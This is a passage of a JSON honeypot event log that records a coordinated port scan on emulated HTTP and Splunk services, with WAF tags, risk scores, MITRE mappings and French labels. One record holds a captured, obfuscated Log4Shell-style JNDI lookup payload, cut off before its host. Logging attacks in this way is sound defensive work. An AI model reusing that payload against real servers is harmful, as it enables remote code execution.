(Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022http_auth_header_token\u0022, \u0022http_bearer_auth\u0022, \u0022http_dangerous_method\u0022, \u0022net_slowloris\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14459738,"ip":"34.19.116.51","ts":"2026-07-30 18:47:26.000000","proto":"tcp","src_port":45065,"dst_port":8089,"service":"http","classification":"port_scan_syn","waf_score":26,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022]","http_method":"POST","http_target":"\/login","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u002206b11278b3d8c06d12bf6f74085c2806fc07bb05\u0022, \u0022http_target_hash\u0022: \u0022c42c80aa06113268fddf90dfdc871fb7318ff5cf\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 3216, \u0022payload_entropy\u0022: 4.588275691817069, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 7.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 68, \u0022tag_count\u0022: 7, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u002269b2552616cc3c2d2e91835627a04d358eb19fa5\u0022, \u0022event_fingerprint\u0022: \u002222368ec161a8937c7a5dc4efd4b7fd90b08e8bfc\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0842\u0022, \u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 921130 duplicate CL\u0022, \u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0842\u0022, \u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 24}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022eddb31ea1df61a153e910a60141074c6\u0022, \u0022path_pattern_hash\u0022: \u00227e93fba0bc7adda858a2500090e639e4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 68}, \u0022payload_preview\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Length: 2923\\r\\nContent-Type: \u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Length: 2923\\r\\nContent-Type: \u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022f2a3a67856e25b9ca9562aee16dcd86a990126e2\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/login\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 24}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 68, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +24\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via HTTP:8089 \u00b7 (reconnaissance) \u00b7 \u2192 \/login\u0022, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8089\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +24 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228089\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022port_scan_campaign\u0022: true, \u0022port_scan_distinct_ports\u0022: 6, \u0022port_scan_ports_sample\u0022: [7005, 8083, 8084, 8087, 8089, 8090], \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022splunk\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022port_scan_campaign\u0022, \u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 24, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8089","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":3216},{"id":14459671,"ip":"34.19.116.51","ts":"2026-07-30 18:47:25.000000","proto":"tcp","src_port":45064,"dst_port":8089,"service":"splunk","classification":"port_scan_syn","waf_score":null,"waf_tags":null,"http_method":null,"http_target":null,"sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022bytes_in\u0022: 4096, \u0022payload_entropy\u0022: 4.785825958600798, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022splunk\u0022, \u0022app_proto\u0022: \u0022splunk\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8089, \u0022risk_waf\u0022: 8.0, \u0022risk_classification\u0022: 64.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 22.0, \u0022risk_novelty\u0022: 15.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.6, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0}, \u0022risk_score\u0022: 42, \u0022tag_count\u0022: 0, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022eade89926fcce389832ee22053ece2a4c2758890\u0022, \u0022event_fingerprint\u0022: \u002208c0e8746454b9b10111dc0cf3ca364c203ece50\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 293, \u0022precision_signals\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022matched_patterns\u0022: [\u0022pat-0162\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 933135\u0022], \u0022pattern_ids\u0022: [\u0022pat-0162\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 24}, \u0022named_classification_skipped\u0022: false, \u0022service_name\u0022: \u0022splunk\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022payload_hash\u0022: \u00228df1c0e02c29b8c7780a5d21d25d3142\u0022, \u0022path_pattern_hash\u0022: \u00226a708bf69e8680803ad7dadb39e2e4d9\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8089, \u0022service\u0022: \u0022splunk\u0022, \u0022service_name\u0022: \u0022splunk\u0022, \u0022risk_score\u0022: 42}, \u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48\u0022, \u0022request_sample\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48:-\/}${r38x:sbv7:152w:-\/}${dnjc:-P}${5a:93d6:g2wt:-A}${d:9:sb9:-l}${jxo:w92x:n5u:-0}${l9hc:-c}${p:35g:oq9t:--}${${c:-s}${fz1:cgkj\u0022, \u0022payload_snippet\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48\u0022, \u0022evidence\u0022: {\u0022request_sample\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48:-\/}${r38x:sbv7:152w:-\/}${dnjc:-P}${5a:93d6:g2wt:-A}${d:9:sb9:-l}${jxo:w92x:n5u:-0}${l9hc:-c}${p:35g:oq9t:--}${${c:-s}${fz1:cgkj\u0022, \u0022payload_snippet\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022mitre_tactics\u0022: [\u0022TA0043\u0022], \u0022mitre_techniques\u0022: [\u0022T1046\u0022], \u0022mitre\u0022: \u0022T1046\u0022, \u0022threat_family\u0022: [\u0022scanner\u0022], \u0022recommended_client_action\u0022: \u0022monitor\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00229c6646fa58ecca99e88fc6dd2b1526054330ddb3\u0022, \u0022protocol_details\u0022: {\u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022splunk\u0022, \u0022service_label_fr\u0022: \u0022SPLUNK\u0022}, \u0022evidence_snippet\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48\u0022, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via SPLUNK:8089 \u00b7 (reconnaissance)\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 SPLUNK\u0022, \u0022emulator_service\u0022: \u0022splunk\u0022, \u0022confidence_reason\u0022: \u0022Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via SPLUNK \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 8.0, \u0022classification\u0022: 64.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 22.0, \u0022novelty\u0022: 15.0, \u0022risk_score\u0022: 42, \u0022correlation_boost\u0022: 24}, \u0022attack_stage\u0022: \u0022recon\u0022, \u0022attack_stage_label\u0022: \u0022Reconnaissance\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 42, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022splunk\u0022, \u0022service_label_fr\u0022: \u0022SPLUNK\u0022, \u0022dst_port\u0022: 8089, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022INT-beh-scan-burst\u0022, \u0022INT-beh-multi-port-60s\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1046\u0022, \u0022SIGMA-net-port-scan\u0022, \u0022Beh Scan Burst\u0022, \u0022Beh Multi Port 60S\u0022], \u0022recommended_action\u0022: \u0022monitor\u0022, \u0022recommended_action_label\u0022: \u0022Surveiller\u0022, \u0022mitre\u0022: \u0022T1046\u0022, \u0022mitre_technique\u0022: \u0022T1046\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-splunk\u0022, \u0022correlation_flags\u0022: [\u0022campagne_ports\u0022, \u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Campagne multi-ports\u0022, \u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +24\u0022, \u0022protocol_details\u0022: {\u0022payload_preview\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48\u0022, \u0022port\u0022: 8089, \u0022service\u0022: \u0022splunk\u0022, \u0022service_label_fr\u0022: \u0022SPLUNK\u0022}, \u0022attack_vector\u0022: \u0022port scan syn \u00b7 via SPLUNK:8089 \u00b7 (reconnaissance)\u0022, \u0022evidence_snippet\u0022: \u0022ZSDLKFJ2 \/${${pmvw:-j}${s2:-n}${d:y:y:-d}${epao:b:-i}${0w:bg:-:}${8d:y:ca:-l}${10du:34o:-d}${m:-a}${0df:f:yt:-p}${7l:0:-:}${ka48\u0022, \u0022target_port_label\u0022: \u00228089 \u00b7 SPLUNK\u0022, \u0022emulator_service\u0022: \u0022splunk\u0022, \u0022confidence_reason\u0022: \u0022Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +24\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: 